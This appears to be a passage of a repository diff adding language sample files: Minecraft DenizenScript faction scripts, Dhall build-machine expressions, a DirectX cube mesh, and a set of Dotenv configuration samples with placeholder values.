+        - foreach <server.offline_players.include[<server.online_players>]> as:p:
+            - if <[p].has_flag[FACTION]>:
+                - flag <[p]> FACTION:!
+        - foreach <proc[get_factions]> as:i:
+            - flag server factions:<-:<[i]>
+        - flag server "factions:<-:all claims"
+        - flag server factions:!
+        - foreach <server.notes[cuboids]> as:n:
+            - if <[n].advanced_matches_text[*faction_cuboid_*]>:
+                - note remove as:<[n].note_name>
+        - flag server FACTION_IDS:-1
+        - narrate Wiped. format:faction_action_format
\ No newline at end of file
diff --git a/samples/DenizenScript/sample2.dsc b/samples/DenizenScript/sample2.dsc
new file mode 100644
index 0000000000..488090dfc7
--- /dev/null
+++ b/samples/DenizenScript/sample2.dsc
@@ -0,0 +1,77 @@
+player_chooses_new_owner_of_faction:
+    type: world
+    events:
+        on player clicks item in faction_action_danger_zone_transfer_ownership_player_list_inventory:
+            - define new_owner <context.item.flag[player_id]>
+
+            - define faction <player.proc[get_player_faction]>
+
+            - define faction_owner <player[<proc[get_owner].context[<[faction]>]>]>
+
+            - if !<player.has_flag[has_ownership_offer]>:
+                - if <[new_owner].has_flag[faction]>:
+                    - if <[new_owner].uuid> == <[faction_owner].uuid>:
+                        - narrate "<&color[#1569EA]>You can't transfer ownership to yourself! You are already the owner." format:faction_action_format
+                        - inventory close
+                    - flag player waiting_for_owner_transfer_request_acceptance:<[new_owner]> expire:10m
+                    - inventory close
+                - else:
+                    - flag player waiting_for_owner_transfer_request_acceptance:<[new_owner]> expire:10m
+                    - inventory close
+
+                    - flag <[new_owner]> has_ownership_offer:<[faction]> expire:10m
+                    - runlater out_of_time_for_transfer delay:5s def.new_owner:<[new_owner]>
+                    - narrate targets:<[new_owner]> "<green><player.name>, wants you to become the new owner of their faction<reset>, <[faction].proc[get_display_name]>. <green>To accept, please issue the command<reset>: <yellow>accept<reset>. <green>To deny, please issue the command<reset>: <yellow>deny <green>or, do nothing. This request will expire in 10 minutes." format:faction_action_format
+            - else:
+                - narrate "<[new_owner].name> already has a valid offer. Please try again soon." format:faction_action_format
+
+player_accepts_or_denies_offer_to_be_new_owner:
+    type: world
+    events:
+        on player chats flagged:has_ownership_offer:
+            - define old_owner <player[<player.flag[has_ownership_offer].proc[get_owner]>]>
+            - define faction <player.flag[has_ownership_offer]>
+            - if <context.message.to_lowercase> == accept:
+                - determine passively cancelled
+
+                # Removes both the old owner and new owner from their factions to avoid any errors.
+                - if <[old_owner].has_flag[faction]>:
+                    - flag server factions.<[old_owner].flag[faction]>.members:<-:<[old_owner].uuid>
+                    - flag <[old_owner]> faction:!
+                - if <player.has_flag[faction]>:
+                    - flag server factions.<player.flag[faction]>.members:<-:<player.uuid>
+                    - flag player faction:!
+
+                - flag server factions.<[faction]>.owner:<player.uuid>
+                - flag server factions.<[faction]>.members:->:<player.uuid>
+                - flag player FACTION:<[faction]>
+
+                # Re-adds the owner to the faction.
+                - flag server factions.<[faction]>.members:->:<[old_owner].uuid>
+                - flag <[old_owner]> faction:<[faction]>
+
+                - flag <player> has_ownership_offer:!
+                - flag <[old_owner]> waiting_for_owner_transfer_request_acceptance:!
+
+                - narrate "You are now the owner of <player.flag[has_ownership_offer].proc[get_display_name]>!" format:faction_action_format
+                - narrate "<player.name> has accepted the offer to become owner! You are now no longer the owner of <[faction].proc[get_display_name]>, but are now a regular member." targets:<[old_owner]> format:faction_action_format
+
+            - else if <context.message.to_lowercase> == deny:
+                - determine passively cancelled
+
+                - flag <player> has_ownership_offer:!
+                - flag <[old_owner]> waiting_for_owner_transfer_request_acceptance:!
+
+                - narrate "You have denyed the offer." format:faction_action_format
+                - narrate "<player.name> <red>has declined your offer to become owner of your faction." targets:<[old_owner]> format:faction_action_format
+            - else:
+                - determine cancelled
+
+out_of_time_for_transfer:
+    type: task
+    definitions: new_owner
+    script:
+        - if <player.has_flag[has_ownership_offer]>:
+            - narrate "Sorry, the ownership offer has expired." targets:<[new_owner]> format:faction_action_format
+        - else:
+            - stop
\ No newline at end of file
diff --git a/samples/Dhall/largeExpressionA.dhall b/samples/Dhall/largeExpressionA.dhall
new file mode 100644
index 0000000000..586d011f1b
--- /dev/null
+++ b/samples/Dhall/largeExpressionA.dhall
@@ -0,0 +1,254 @@
+  λ ( xs
+    : List
+      { cores             : Natural
+      , host              : Text
+      , key               : Text
+      , mandatoryFeatures : List Text
+      , platforms         :
+          List
+          < AArch64_Linux  : {}
+          | ARMv5tel_Linux : {}
+          | ARMv7l_Linux   : {}
+          | I686_Cygwin    : {}
+          | I686_Linux     : {}
+          | MIPS64el_Linux : {}
+          | PowerPC_Linux  : {}
+          | X86_64_Cygwin  : {}
+          | X86_64_Darwin  : {}
+          | X86_64_FreeBSD : {}
+          | X86_64_Linux   : {}
+          | X86_64_Solaris : {}
+          >
+      , speedFactor       : Natural
+      , supportedFeatures : List Text
+      , user              : Optional Text
+      }
+    )
+→ List/fold
+  { cores             : Natural
+  , host              : Text
+  , key               : Text
+  , mandatoryFeatures : List Text
+  , platforms         :
+      List
+      < AArch64_Linux  : {}
+      | ARMv5tel_Linux : {}
+      | ARMv7l_Linux   : {}
+      | I686_Cygwin    : {}
+      | I686_Linux     : {}
+      | MIPS64el_Linux : {}
+      | PowerPC_Linux  : {}
+      | X86_64_Cygwin  : {}
+      | X86_64_Darwin  : {}
+      | X86_64_FreeBSD : {}
+      | X86_64_Linux   : {}
+      | X86_64_Solaris : {}
+      >
+  , speedFactor       : Natural
+  , supportedFeatures : List Text
+  , user              : Optional Text
+  }
+  xs
+  Text
+  (   λ ( x
+        : { cores             : Natural
+          , host              : Text
+          , key               : Text
+          , mandatoryFeatures : List Text
+          , platforms         :
+              List
+              < AArch64_Linux  : {}
+              | ARMv5tel_Linux : {}
+              | ARMv7l_Linux   : {}
+              | I686_Cygwin    : {}
+              | I686_Linux     : {}
+              | MIPS64el_Linux : {}
+              | PowerPC_Linux  : {}
+              | X86_64_Cygwin  : {}
+              | X86_64_Darwin  : {}
+              | X86_64_FreeBSD : {}
+              | X86_64_Linux   : {}
+              | X86_64_Solaris : {}
+              >
+          , speedFactor       : Natural
+          , supportedFeatures : List Text
+          , user              : Optional Text
+          }
+        )
+    → λ(y : Text)
+    →     (     Optional/fold
+                Text
+                x.user
+                Text
+                (λ(user : Text) → user ++ "@" ++ x.host ++ "")
+                x.host
+            ++  " "
+            ++  ( merge
+                  { Empty    = λ(_ : {}) → ""
+                  , NonEmpty = λ(result : Text) → result
+                  }
+                  ( List/fold
+                    < AArch64_Linux  : {}
+                    | ARMv5tel_Linux : {}
+                    | ARMv7l_Linux   : {}
+                    | I686_Cygwin    : {}
+                    | I686_Linux     : {}
+                    | MIPS64el_Linux : {}
+                    | PowerPC_Linux  : {}
+                    | X86_64_Cygwin  : {}
+                    | X86_64_Darwin  : {}
+                    | X86_64_FreeBSD : {}
+                    | X86_64_Linux   : {}
+                    | X86_64_Solaris : {}
+                    >
+                    x.platforms
+                    < Empty : {} | NonEmpty : Text >
+                    (   λ ( element
+                          : < AArch64_Linux  : {}
+                            | ARMv5tel_Linux : {}
+                            | ARMv7l_Linux   : {}
+                            | I686_Cygwin    : {}
+                            | I686_Linux     : {}
+                            | MIPS64el_Linux : {}
+                            | PowerPC_Linux  : {}
+                            | X86_64_Cygwin  : {}
+                            | X86_64_Darwin  : {}
+                            | X86_64_FreeBSD : {}
+                            | X86_64_Linux   : {}
+                            | X86_64_Solaris : {}
+                            >
+                          )
+                      → λ(status : < Empty : {} | NonEmpty : Text >)
+                      → merge
+                        { Empty    =
+                              λ(_ : {})
+                            → < Empty : {} | NonEmpty : Text >.NonEmpty (
+                                  merge
+                                  { AArch64_Linux  = λ(_ : {}) → "aarch64-linux"
+                                  , ARMv5tel_Linux =
+                                      λ(_ : {}) → "armv5tel-linux"
+                                  , ARMv7l_Linux   = λ(_ : {}) → "armv7l-linux"
+                                  , I686_Cygwin    = λ(_ : {}) → "i686-cygwin"
+                                  , I686_Linux     = λ(_ : {}) → "i686-linux"
+                                  , MIPS64el_Linux =
+                                      λ(_ : {}) → "mips64el-linux"
+                                  , PowerPC_Linux  = λ(_ : {}) → "powerpc-linux"
+                                  , X86_64_Cygwin  = λ(_ : {}) → "x86_64-cygwin"
+                                  , X86_64_Darwin  = λ(_ : {}) → "x86_64-darwin"
+                                  , X86_64_FreeBSD =
+                                      λ(_ : {}) → "x86_64-freebsd"
+                                  , X86_64_Linux   = λ(_ : {}) → "x86_64-linux"
+                                  , X86_64_Solaris =
+                                      λ(_ : {}) → "x86_64-solaris"
+                                  }
+                                  element
+                              )
+                        , NonEmpty =
+                              λ(result : Text)
+                            → < Empty : {} | NonEmpty : Text >.NonEmpty (
+                                      ( merge
+                                        { AArch64_Linux  =
+                                            λ(_ : {}) → "aarch64-linux"
+                                        , ARMv5tel_Linux =
+                                            λ(_ : {}) → "armv5tel-linux"
+                                        , ARMv7l_Linux   =
+                                            λ(_ : {}) → "armv7l-linux"
+                                        , I686_Cygwin    =
+                                            λ(_ : {}) → "i686-cygwin"
+                                        , I686_Linux     =
+                                            λ(_ : {}) → "i686-linux"
+                                        , MIPS64el_Linux =
+                                            λ(_ : {}) → "mips64el-linux"
+                                        , PowerPC_Linux  =
+                                            λ(_ : {}) → "powerpc-linux"
+                                        , X86_64_Cygwin  =
+                                            λ(_ : {}) → "x86_64-cygwin"
+                                        , X86_64_Darwin  =
+                                            λ(_ : {}) → "x86_64-darwin"
+                                        , X86_64_FreeBSD =
+                                            λ(_ : {}) → "x86_64-freebsd"
+                                        , X86_64_Linux   =
+                                            λ(_ : {}) → "x86_64-linux"
+                                        , X86_64_Solaris =
+                                            λ(_ : {}) → "x86_64-solaris"
+                                        }
+                                        element
+                                      )
+                                  ++  ","
+                                  ++  result
+                              )
+                        }
+                        status
+                        : < Empty : {} | NonEmpty : Text >
+                    )
+                   (< Empty : {} | NonEmpty : Text >.Empty {=})
+                  )
+                  : Text
+                )
+            ++  " "
+            ++  x.key
+            ++  " "
+            ++  Integer/show (Natural/toInteger x.cores)
+            ++  " "
+            ++  Integer/show (Natural/toInteger x.speedFactor)
+            ++  " "
+            ++  ( merge
+                  { Empty    = λ(_ : {}) → ""
+                  , NonEmpty = λ(result : Text) → result
+                  }
+                  ( List/fold
+                    Text
+                    x.supportedFeatures
+                    < Empty : {} | NonEmpty : Text >
+                    (   λ(element : Text)
+                      → λ(status : < Empty : {} | NonEmpty : Text >)
+                      → merge
+                        { Empty    =
+                            λ(_ : {}) →
+                            (< Empty : {} | NonEmpty : Text >.NonEmpty element)
+                        , NonEmpty =
+                              λ(result : Text)
+                            → < Empty : {} | NonEmpty : Text >.NonEmpty (
+                                  element ++ "," ++ result
+                              )
+                        }
+                        status
+                        : < Empty : {} | NonEmpty : Text >
+                    )
+                   (< Empty : {} | NonEmpty : Text >.Empty {=})
+                  )
+                  : Text
+                )
+            ++  " "
+            ++  ( merge
+                  { Empty    = λ(_ : {}) → ""
+                  , NonEmpty = λ(result : Text) → result
+                  }
+                  ( List/fold
+                    Text
+                    x.mandatoryFeatures
+                    < Empty : {} | NonEmpty : Text >
+                    (   λ(element : Text)
+                      → λ(status : < Empty : {} | NonEmpty : Text >)
+                      → merge
+                        { Empty    =
+                            λ(_ : {}) →
+                            < Empty : {} | NonEmpty : Text >.NonEmpty element
+                        , NonEmpty =
+                              λ(result : Text)
+                            → < Empty : {} | NonEmpty : Text >.NonEmpty (
+                                  element ++ "," ++ result
+                              )
+                        }
+                        status
+                        : < Empty : {} | NonEmpty : Text >
+                    )
+                   (< Empty : {} | NonEmpty : Text >.Empty {=})
+                  )
+                  : Text
+                )
+            ++  "\n"
+          )
+      ++  y
+  )
+  ""
diff --git a/samples/Dhall/remoteSystemsA.dhall b/samples/Dhall/remoteSystemsA.dhall
new file mode 100644
index 0000000000..0c0729614d
--- /dev/null
+++ b/samples/Dhall/remoteSystemsA.dhall
@@ -0,0 +1,52 @@
+let Text/concatMap = ../../../Prelude/Text/concatMap
+
+let Text/concatSep = ../../../Prelude/Text/concatSep
+
+let Row =
+      { cores :
+          Natural
+      , host :
+          Text
+      , key :
+          Text
+      , mandatoryFeatures :
+          List Text
+      , platforms :
+          List Text
+      , speedFactor :
+          Natural
+      , supportedFeatures :
+          List Text
+      , user :
+          Optional Text
+      }
+
+let renderRow =
+        λ ( row
+          : Row
+          )
+      → let host =
+              Optional/fold
+              Text
+              row.user
+              Text
+              (λ(user : Text) → "${user}@${row.host}")
+              row.host
+        
+        let platforms = Text/concatSep "," row.platforms
+        
+        let key = row.key
+        
+        let cores = Integer/show (Natural/toInteger row.cores)
+        
+        let speedFactor = Integer/show (Natural/toInteger row.speedFactor)
+        
+        let supportedFeatures = Text/concatSep "," row.supportedFeatures
+        
+        let mandatoryFeatures = Text/concatSep "," row.mandatoryFeatures
+        
+        in  ''
+            ${host} ${platforms} ${key} ${cores} ${speedFactor} ${supportedFeatures} ${mandatoryFeatures}
+            ''
+
+in  Text/concatMap Row renderRow
diff --git a/samples/DirectX 3D File/cube.x b/samples/DirectX 3D File/cube.x
new file mode 100644
index 0000000000..976bda5e85
--- /dev/null
+++ b/samples/DirectX 3D File/cube.x	
@@ -0,0 +1,95 @@
+xof 0303txt 0032
+
+Frame Root {
+  FrameTransformMatrix {
+     1.000000, 0.000000, 0.000000, 0.000000,
+     0.000000,-0.000000, 1.000000, 0.000000,
+     0.000000, 1.000000, 0.000000, 0.000000,
+     0.000000, 0.000000, 0.000000, 1.000000;;
+  }
+  Frame Cube {
+    FrameTransformMatrix {
+       1.000000, 0.000000, 0.000000, 0.000000,
+       0.000000, 1.000000, 0.000000, 0.000000,
+       0.000000, 0.000000, 1.000000, 0.000000,
+       0.000000, 0.000000, 0.000000, 1.000000;;
+    }
+    Mesh { // Cube mesh
+      24;
+      -1.000000;-1.000000;-1.000000;,
+      -1.000000;-1.000000; 1.000000;,
+      -1.000000; 1.000000; 1.000000;,
+      -1.000000; 1.000000;-1.000000;,
+      -1.000000; 1.000000;-1.000000;,
+      -1.000000; 1.000000; 1.000000;,
+       1.000000; 1.000000; 1.000000;,
+       1.000000; 1.000000;-1.000000;,
+       1.000000; 1.000000;-1.000000;,
+       1.000000; 1.000000; 1.000000;,
+       1.000000;-1.000000; 1.000000;,
+       1.000000;-1.000000;-1.000000;,
+       1.000000;-1.000000;-1.000000;,
+       1.000000;-1.000000; 1.000000;,
+      -1.000000;-1.000000; 1.000000;,
+      -1.000000;-1.000000;-1.000000;,
+      -1.000000; 1.000000;-1.000000;,
+       1.000000; 1.000000;-1.000000;,
+       1.000000;-1.000000;-1.000000;,
+      -1.000000;-1.000000;-1.000000;,
+       1.000000; 1.000000; 1.000000;,
+      -1.000000; 1.000000; 1.000000;,
+      -1.000000;-1.000000; 1.000000;,
+       1.000000;-1.000000; 1.000000;;
+      6;
+      4;3,2,1,0;,
+      4;7,6,5,4;,
+      4;11,10,9,8;,
+      4;15,14,13,12;,
+      4;19,18,17,16;,
+      4;23,22,21,20;;
+      MeshNormals { // Cube normals
+        6;
+        -1.000000;-0.000000; 0.000000;,
+         0.000000; 1.000000; 0.000000;,
+         1.000000;-0.000000; 0.000000;,
+         0.000000;-1.000000; 0.000000;,
+         0.000000; 0.000000;-1.000000;,
+         0.000000;-0.000000; 1.000000;;
+        6;
+        4;0,0,0,0;,
+        4;1,1,1,1;,
+        4;2,2,2,2;,
+        4;3,3,3,3;,
+        4;4,4,4,4;,
+        4;5,5,5,5;;
+      } // End of Cube normals
+      MeshTextureCoords { // Cube UV coordinates
+        24;
+         0.666667; 0.666667;,
+         0.333333; 0.666667;,
+         0.333333; 1.000000;,
+         0.666667; 1.000000;,
+         0.333333; 0.333333;,
+         0.000000; 0.333333;,
+         0.000000; 0.666667;,
+         0.333333; 0.666667;,
+         0.333333; 0.666667;,
+         0.000000; 0.666667;,
+         0.000000; 1.000000;,
+         0.333333; 1.000000;,
+         0.333333; 0.333333;,
+         0.333333; 0.666667;,
+         0.666667; 0.666667;,
+         0.666667; 0.333333;,
+         1.000000; 0.666667;,
+         0.666667; 0.666667;,
+         0.666667; 1.000000;,
+         1.000000; 1.000000;,
+         0.333333; 0.333333;,
+         0.333333; 0.000000;,
+         0.000000; 0.000000;,
+         0.000000; 0.333333;;
+      } // End of Cube UV coordinates
+    } // End of Cube mesh
+  } // End of Cube
+} // End of Root
diff --git a/samples/Dotenv/default.env b/samples/Dotenv/default.env
new file mode 100644
index 0000000000..53e72d54c7
--- /dev/null
+++ b/samples/Dotenv/default.env
@@ -0,0 +1,2 @@
+REACT_APP_ENDPOINT=http://localhost:5000/api
+REACT_APP_DEFAULT_USR=
diff --git a/samples/Dotenv/filenames/.env b/samples/Dotenv/filenames/.env
new file mode 100644
index 0000000000..84714cac8a
--- /dev/null
+++ b/samples/Dotenv/filenames/.env
@@ -0,0 +1,20 @@
+# shellcheck shell=sh
+
+main() {
+  if shell_is_bash
+  then
+    load_bash_autocomplete
+  fi
+}
+
+shell_is_bash() {
+  # we don't want to depend on pgrep, it doesn't ship on macOS out of the box as far as I can remember
+  # shellcheck disable=SC2009
+  ps -p $$ -o comm= | grep -q "bash"
+}
+
+load_bash_autocomplete() {
+  eval "$(make bash-autocomplete)"
+}
+
+main
diff --git a/samples/Dotenv/filenames/.env.ci b/samples/Dotenv/filenames/.env.ci
new file mode 100644
index 0000000000..cfa2e72bf5
--- /dev/null
+++ b/samples/Dotenv/filenames/.env.ci
@@ -0,0 +1,55 @@
+# .env.ci is interpolated into tmp.env.ci during CI testing after integration-deps have been spun up.
+# tmp.env.ci is then passed into integration and e2e test containers by setting the environment variable "TMP_ENV_CI=tmp.env.ci".
+JEST_TIMEOUT=90000
+NETWORK=${NETWORK}
+NODE_ENV=${NODE_ENV}
+LND1_TLS=${LND1_TLS}
+LND2_TLS=${LND2_TLS}
+TLSOUTSIDE1=${TLSOUTSIDE1}
+TLSOUTSIDE2=${TLSOUTSIDE2}
+LND1_MACAROON=${LND1_MACAROON}
+LND2_MACAROON=${LND2_MACAROON}
+LNDONCHAIN_MACAROON=${LNDONCHAIN_MACAROON}
+MACAROONOUTSIDE1=${MACAROONOUTSIDE1}
+MACAROONOUTSIDE2=${MACAROONOUTSIDE2}
+LND1_PUBKEY=${LND1_PUBKEY}
+LND2_PUBKEY=${LND2_PUBKEY}
+LNDONCHAIN_PUBKEY=${LNDONCHAIN_PUBKEY}
+BITCOINDPORT=${BITCOINDPORT}
+BITCOINDADDR=bitcoind
+BITCOINDRPCPASS=${BITCOINDRPCPASS}
+LND1_DNS=lnd1
+LND2_DNS=lnd2
+LNDONCHAIN_DNS=lnd1
+LNDOUTSIDE1ADDR=lnd-outside-1
+LNDOUTSIDE2ADDR=lnd-outside-2
+MONGODB_ADDRESS=mongodb
+MONGODB_PASSWORD=${MONGODB_PASSWORD}
+REDIS_0_INTERNAL_IP=redis
+REDIS_0_PORT=${REDIS_0_PORT}
+REDIS_0_DNS=redis
+REDIS_0_SENTINEL_PORT=${REDIS_0_SENTINEL_PORT}
+PRICE_HOST=price
+PRICE_PORT=${PRICE_PORT}
+PRICE_HISTORY_HOST=price-history
+PRICE_HISTORY_PORT=${PRICE_HISTORY_PORT}
+OATHKEEPER_HOST=oathkeeper
+OATHKEEPER_PORT=4455
+LOCAL=${LOCAL}
+JWT_SECRET=${JWT_SECRET}
+GEETEST_ID=${GEETEST_ID}
+GEETEST_KEY=${GEETEST_KEY}
+TWILIO_ACCOUNT_SID=${TWILIO_ACCOUNT_SID}
+TWILIO_AUTH_TOKEN=${TWILIO_AUTH_TOKEN}
+TWILIO_PHONE_NUMBER=${TWILIO_PHONE_NUMBER}
+COMMITHASH=${COMMITHASH}
+BUILDTIME=${BUILDTIME}
+HELMREVISION=${HELMREVISION}
+PRICE_SERVER_HOST=stablesats
+LND1_LOOP_MACAROON=${LND1_LOOP_MACAROON}
+LND2_LOOP_MACAROON=${LND2_LOOP_MACAROON}
+LND1_LOOP_TLS=${LND1_LOOP_TLS}
+LND2_LOOP_TLS=${LND2_LOOP_TLS}
+KRATOS_MASTER_PHONE_PASSWORD=${KRATOS_MASTER_PHONE_PASSWORD}
+KRATOS_PUBLIC_API=http://kratos:4433
+KRATOS_ADMIN_API=http://kratos:4434
diff --git a/samples/Dotenv/filenames/.env.dev b/samples/Dotenv/filenames/.env.dev
new file mode 100644
index 0000000000..4f25503451
--- /dev/null
+++ b/samples/Dotenv/filenames/.env.dev
@@ -0,0 +1,38 @@
+# For internal Airbyte dev use.
+
+VERSION=dev
+DATABASE_USER=docker
+DATABASE_PASSWORD=docker
+DATABASE_DB=airbyte
+DATABASE_URL=jdbc:postgresql://db:5432/airbyte
+CONFIG_ROOT=/data
+WORKSPACE_ROOT=/tmp/workspace
+DATA_DOCKER_MOUNT=airbyte_data_dev
+DB_DOCKER_MOUNT=airbyte_db_dev
+WORKSPACE_DOCKER_MOUNT=airbyte_workspace_dev
+# todo (cgardens) - when we are mount raw directories instead of named volumes, *_DOCKER_MOUNT must
+# be the same as *_ROOT.
+# Issue: https://github.com/airbytehq/airbyte/issues/578
+LOCAL_ROOT=/tmp/airbyte_local_dev
+LOCAL_DOCKER_MOUNT=/tmp/airbyte_local_dev
+TRACKING_STRATEGY=logging
+# todo (cgardens) - hack to handle behavior change in docker compose. *_PARENT directories MUST
+# already exist on the host filesystem and MUST be parents of *_ROOT.
+# Issue: https://github.com/airbytehq/airbyte/issues/577
+HACK_LOCAL_ROOT_PARENT=/tmp
+WEBAPP_URL=http://localhost:8000/
+API_URL=/api/v1/
+INTERNAL_API_HOST=airbyte-server:8001
+CONNECTOR_BUILDER_API_HOST=airbyte-connector-builder-server:80
+SYNC_JOB_MAX_ATTEMPTS=3
+SYNC_JOB_MAX_TIMEOUT_DAYS=3
+WORKERS_MICRONAUT_ENVIRONMENTS=control-plane
+CRON_MICRONAUT_ENVIRONMENTS=control-plane
+AUTO_DETECT_SCHEMA=false
+
+# Sentry
+SENTRY_DSN=""
+
+# Migration Configuration
+CONFIGS_DATABASE_MINIMUM_FLYWAY_MIGRATION_VERSION=0.35.15.001
+JOBS_DATABASE_MINIMUM_FLYWAY_MIGRATION_VERSION=0.29.15.001
diff --git a/samples/Dotenv/filenames/.env.development b/samples/Dotenv/filenames/.env.development
new file mode 100644
index 0000000000..22b1de8a06
--- /dev/null
+++ b/samples/Dotenv/filenames/.env.development
@@ -0,0 +1,14 @@
+# just a flag
+ENV = 'development'
+
+# base api
+VUE_APP_BASE_API = '/wx'
+
+# vue-cli uses the VUE_CLI_BABEL_TRANSPILE_MODULES environment variable,
+# to control whether the babel-plugin-dynamic-import-node plugin is enabled.
+# It only does one thing by converting all import() to require().
+# This configuration can significantly increase the speed of hot updates,
+# when you have a large number of pages.
+# Detail:  https://github.com/vuejs/vue-cli/blob/dev/packages/@vue/babel-preset-app/index.js
+
+VUE_CLI_BABEL_TRANSPILE_MODULES = true
diff --git a/samples/Dotenv/filenames/.env.development.local b/samples/Dotenv/filenames/.env.development.local
new file mode 100644
index 0000000000..0d87cccd72
--- /dev/null
+++ b/samples/Dotenv/filenames/.env.development.local
@@ -0,0 +1,2 @@
+REACT_APP_ENV=development
+ESLINT_NO_DEV_ERRORS=true
diff --git a/samples/Dotenv/filenames/.env.example b/samples/Dotenv/filenames/.env.example
new file mode 100644
index 0000000000..4eb0845889
--- /dev/null
+++ b/samples/Dotenv/filenames/.env.example
@@ -0,0 +1,11 @@
+APP_ENV=local
+APP_DEBUG=true
+APP_KEY=SomeRandomString
+
+DB_HOST=localhost
+DB_DATABASE=homestead
+DB_USERNAME=homestead
+DB_PASSWORD=secret
+
+CACHE_DRIVER=file
+SESSION_DRIVER=file
diff --git a/samples/Dotenv/filenames/.env.local b/samples/Dotenv/filenames/.env.local
new file mode 100644
index 0000000000..b182e686d2
--- /dev/null
+++ b/samples/Dotenv/filenames/.env.local
@@ -0,0 +1,3 @@
+SHOPIFY_API_KEY=
+SHOPIFY_API_SECRET=
+DJANGO_SECRET=
\ No newline at end of file
diff --git a/samples/Dotenv/filenames/.env.prod b/samples/Dotenv/filenames/.env.prod
new file mode 100644
index 0000000000..9386719759
--- /dev/null
+++ b/samples/Dotenv/filenames/.env.prod
@@ -0,0 +1,10 @@
+CANONICAL_URL=http://localhost:4000
+BUILD_GRAPHQL_URL=http://localhost:3000/graphql
+EXTERNAL_GRAPHQL_URL=http://localhost:3000/graphql
+INTERNAL_GRAPHQL_URL=http://api.reaction.localhost:3000/graphql
+PORT=4000
+SEGMENT_ANALYTICS_SKIP_MINIMIZE=true
+SEGMENT_ANALYTICS_WRITE_KEY=ENTER_KEY_HERE
+SESSION_MAX_AGE_MS=2592000000
+SESSION_SECRET=CHANGEME
+STRIPE_PUBLIC_API_KEY=ENTER_STRIPE_PUBLIC_KEY_HERE
\ No newline at end of file
diff --git a/samples/Dotenv/filenames/.env.production b/samples/Dotenv/filenames/.env.production
new file mode 100644
index 0000000000..cc3166cb67
--- /dev/null
+++ b/samples/Dotenv/filenames/.env.production
@@ -0,0 +1,6 @@
+# Please refer to https://cli.vuejs.org/guide/mode-and-env.html#modes to get familiar with vue environments
+
+# App
+
+VUE_APP_TITLE=Bento Starter
+VUE_APP_SHORT_TITLE=Bento
\ No newline at end of file
diff --git a/samples/Dotenv/filenames/.env.sample b/samples/Dotenv/filenames/.env.sample
new file mode 100644
index 0000000000..c3a6e365cb
--- /dev/null
+++ b/samples/Dotenv/filenames/.env.sample
@@ -0,0 +1,15 @@
+# The database to use when testing against Postgres.
+PG_DATABASE_URL=postgresql://postgres:postgres@localhost:5432/diesel_test
+# The database to use when running the Postgres examples during testing.
+PG_EXAMPLE_DATABASE_URL=postgresql://postgres:postgres@localhost:5432/diesel_example
+
+# The database to use when testing against MySQL.
+MYSQL_DATABASE_URL=mysql://root@127.0.0.1:3306/diesel_test
+# The database to use when running the MySQL examples during testing.
+MYSQL_EXAMPLE_DATABASE_URL=mysql://root@127.0.0.1:3306/diesel_example
+# A database different from the others above used for certain unit tests.
+# TODO: this is magical, explain what it's there for.
+MYSQL_UNIT_TEST_DATABASE_URL=mysql://root@127.0.0.1:3306/diesel_unit_test
+
+# The database to use when testing against SQLite.
+SQLITE_DATABASE_URL=/tmp/diesel_test.sqlite
diff --git a/samples/Dotenv/filenames/.env.staging b/samples/Dotenv/filenames/.env.staging
new file mode 100644
index 0000000000..d69f66342f
--- /dev/null
+++ b/samples/Dotenv/filenames/.env.staging
@@ -0,0 +1,8 @@
+NODE_ENV = production
+
+# just a flag
+ENV = 'staging'
+
+# base api
+VUE_APP_BASE_API = '/api'
+
diff --git a/samples/Dotenv/filenames/.env.test b/samples/Dotenv/filenames/.env.test
new file mode 100644
index 0000000000..f9ac578996
--- /dev/null
+++ b/samples/Dotenv/filenames/.env.test
@@ -0,0 +1,11 @@
+APP_SECRET='s$cretf0rt3st'
+
+KERNEL_CLASS='App\Kernel'
+
+###> lexik/jwt-authentication-bundle ###
+JWT_SECRET_KEY=%kernel.project_dir%/config/jwt/private-test.pem
+JWT_PUBLIC_KEY=%kernel.project_dir%/config/jwt/public-test.pem
+JWT_PASSPHRASE=ALL_THAT_IS_GOLD_DOES_NOT_GLITTER_NOT_ALL_THOSE_WHO_WANDER_ARE_LOST
+###< lexik/jwt-authentication-bundle ###
+MESSENGER_TRANSPORT_DSN=sync://
+MAILER_DSN=null://null
diff --git a/samples/Dotenv/filenames/.env.testing b/samples/Dotenv/filenames/.env.testing
new file mode 100644
index 0000000000..ac84e89695
--- /dev/null
+++ b/samples/Dotenv/filenames/.env.testing
@@ -0,0 +1,57 @@
+# This file will be consumed by both the CI and the tests.
+# Some environment variables might not apply to one but might apply to the other: modify with care.
+
+# What version of WordPress we want to install and test against.
+# This has to be compatible with the `wp core download` command, see https://developer.wordpress.org/cli/commands/core/download/.
+WP_VERSION=latest
+
+# This is where, in the context of the CI, we'll install and configure WordPress.
+# See `.travis.yml` for more information.
+WP_ROOT_FOLDER=/tmp/wordpress
+
+# The WordPress installation will be served from the Docker container.
+# See `dev/docker/ci-compose.yml` for more information.
+WP_URL=http://localhost:8080
+WP_DOMAIN=localhost:8080
+
+# The credentials that will be used to access the site in acceptance tests
+# in methods like `$I->loginAsAdmin();`.
+WP_ADMIN_USERNAME=admin
+WP_ADMIN_PASSWORD=password
+
+WP_DB_PORT=4306
+
+# The databse is served from the Docker `db` container.
+# See `dev/docker/ci-compose.yml` for more information.
+WP_TABLE_PREFIX=wp_
+WP_DB_HOST=127.0.0.1:4306
+WP_DB_NAME=wordpress
+WP_DB_USER=root
+WP_DB_PASSWORD=
+
+# The test databse is served from the Docker `db` container.
+# See `dev/docker/ci-compose.yml` for more information.
+WP_TEST_DB_HOST=127.0.0.1:4306
+WP_TEST_DB_NAME=test
+WP_TEST_DB_USER=root
+WP_TEST_DB_PASSWORD=
+
+# We're using Selenium and Chrome for acceptance testing.
+# In CI context we're starting a Docker container to handle that.
+# See the `dev/docker/ci-compose.yml` file.
+CHROMEDRIVER_HOST=localhost
+CHROMEDRIVER_PORT=4444
+
+# The URL of the WordPress installation from the point of view of the Chromedriver container.
+# Why not just use `wordpress`? While Chrome will accept an `http://wordpress` address WordPress
+# will not, we call the WordPress container with a seemingly looking legit URL and leverage the
+# lines that, in the `wp-config.php` file, will make it so that WordPress will use as its home
+# URL whatever URL we reach it with.
+# See the `dev/docker/wp-config.php` template for more information.
+WP_CHROMEDRIVER_URL="wp.test"
+
+# To run the tests let's force the background-processing lib to run in synchronous (single PHP thread) mode.
+TRIBE_NO_ASYNC=1
+
+# We're using Docker to run the tests.
+USING_CONTAINERS=1
diff --git a/samples/Dune/filenames/dune-project b/samples/Dune/filenames/dune-project
new file mode 100644
index 0000000000..a9e1089a07
--- /dev/null
+++ b/samples/Dune/filenames/dune-project
